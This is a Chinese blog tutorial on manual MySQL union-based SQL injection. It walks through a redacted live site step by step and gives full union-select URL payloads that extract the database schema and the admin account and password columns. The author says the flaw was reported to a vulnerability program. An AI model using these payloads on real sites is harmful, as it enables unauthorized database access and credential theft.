實戰|MySQL聯合注入
- 2019 年 11 月 20 日
- 筆記
在這裡跟各位兄弟姐妹說聲對不起,有一段時間沒有更新文章。確實前段時間公司事情比較多,項目做不過來。請各位理解一下,以後盡量做到一周兩更或三更。
今天帶來的是MySQL手工注入+實際站點,會從最基礎開始講起。希望能幫到剛入門的兄弟姐妹們。下面開始
0x01
SQL注入原理:
一、SQL注入就是一種通過操作SQL語句進行攻擊目的的技術 二、SQL語句是各大資料庫中的語言程式碼
0x02
SQL注入的產生:
攻擊者通過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字元串,最終達到欺騙伺服器執行惡意的SQL命令,比如先前的很多影視網站泄露VIP會員密碼大多就是通過WEB表單遞交查詢字元暴出的,這類表單特別容易受到SQL注入式攻擊①不當的類型處理;②不安全的資料庫配置;③不合理的查詢集處理;④不當的錯誤處理;⑤轉義字元處理不合適;⑥多個提交處理不當。
0x03
判斷是否存在SQL注入:
傳參的地方後面加上單引號 And 1=1 正常 存在注入And 1=2 不正常 或者 or xor 且或非
0x04
判斷欄位數:
Order by X 取臨界值
0x05
MySQL注入中常用的函數:
User() 用戶組許可權Database() 資料庫名Version() PHP版本@@verSion_compile_os 作業系統
0x06
MySQL注入中需要用的:
Information_schema.tables 記錄表名資訊的表Information_schema.columns 記錄列名資訊的表Table_name 表名Column_name 列名group_concat(column_name) 所有列名Schema_table 資料庫名資料庫名中符號『.』代表下一級的意思補充一下:MySQL5.0以上與MySQL5.0以下是有區別的。
0x07
開始實戰
目標站點:www.xxx.com
打開目標站點,到處點點,找到一處帶有參數的url地址

我們輸入單引號

頁面報錯了,這個時候我們再輸入 and 1=1

返回正常頁面,我們再 and 1=2 看看

返回的是500錯誤,當我們and 1=1 時頁面返回正常,and 1=2 時頁面返回錯誤,有些時候返回500不要覺得沒有,有些時候照樣存在注入。由此我們可以判斷這裡是存在注入的。
接下來我們要判斷有多少欄位數,上面已經說到判斷欄位數,使用order by x 取臨界值(在這裡我提前測試過了已經知道是25個欄位)


我們輸入order by 25 返回正常,order by 26時返回錯誤,由此我們可以判定存在25個欄位。接下來我們使用聯合注入。
第一步、為什麼我要在參數前面加上-號呢?因為要讓他報錯回顯出來,那個欄位數上才是可控的,或者可以使用參數後面加上 and 1=2

可以看到,爆出數字9與19,說明在9跟19這兩個數是可控的,在這裡我們就要用到我們上面說的函數了,查資料庫名,查作業系統,查PHP版本,查用戶組許可權。這裡我就直接查資料庫名了。
語句:http://www.xxx.com/xxx.php?xxx=-408 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25

可以看到資料庫為xxxi_db,接下來查詢這個資料庫下面的所有表名資訊。
語句:http://www.xxx.com/xxx.php?xxx=-408 union select1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.tables where table_schema='xxxi_db(剛才查到的資料庫名)'

在這裡就要分析一下,你覺得那個表下面可能會存在存放後台管理員的帳號密碼的列,這裡很明顯是adminuser這個表。在這裡還要說一下,如果'資料庫名',這裡也可以不用單引號,可以編碼一下,編碼至16進位就可不用單引號。下面我們要查詢adminuser表下的列資訊。
語句:http://www.xxx.com/xxx.php?xxx=-408 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 from information_schema.columns where table_name='表名'

查詢到adminuser這個表下面有三個列名。id,aduser,adpword。後台管理員帳號密碼肯定就存在aduser跟adpword這兩個列裡面了。接下來就是讓他爆出裡面的數據了。
語法:http://www.xxx.com/xxx.php?xxx=-408 union select 1,2,3,4,5,6,7,8,aduser,10,11,12,13,14,15,16,17,18,adpword,20,21,22,23,24,25 from 表名

做到這裡,後台管理員的帳號與密碼就可以注入出來了,找後台這裡就先不說了,因為這次主要說的是SQL注入。
如果大家覺得哪裡理解不了,可以發消息至公眾號,你們發的消息我都有看的。這次這篇文章是給剛入門的兄弟們學習的,大佬們就先跳過吧。
寫文章不易,內容不夠豐富大家多多擔待。覺得可以的話,幫忙轉發一下,希望能幫到更多更入門的兄弟。
以上站點已經提交至src。
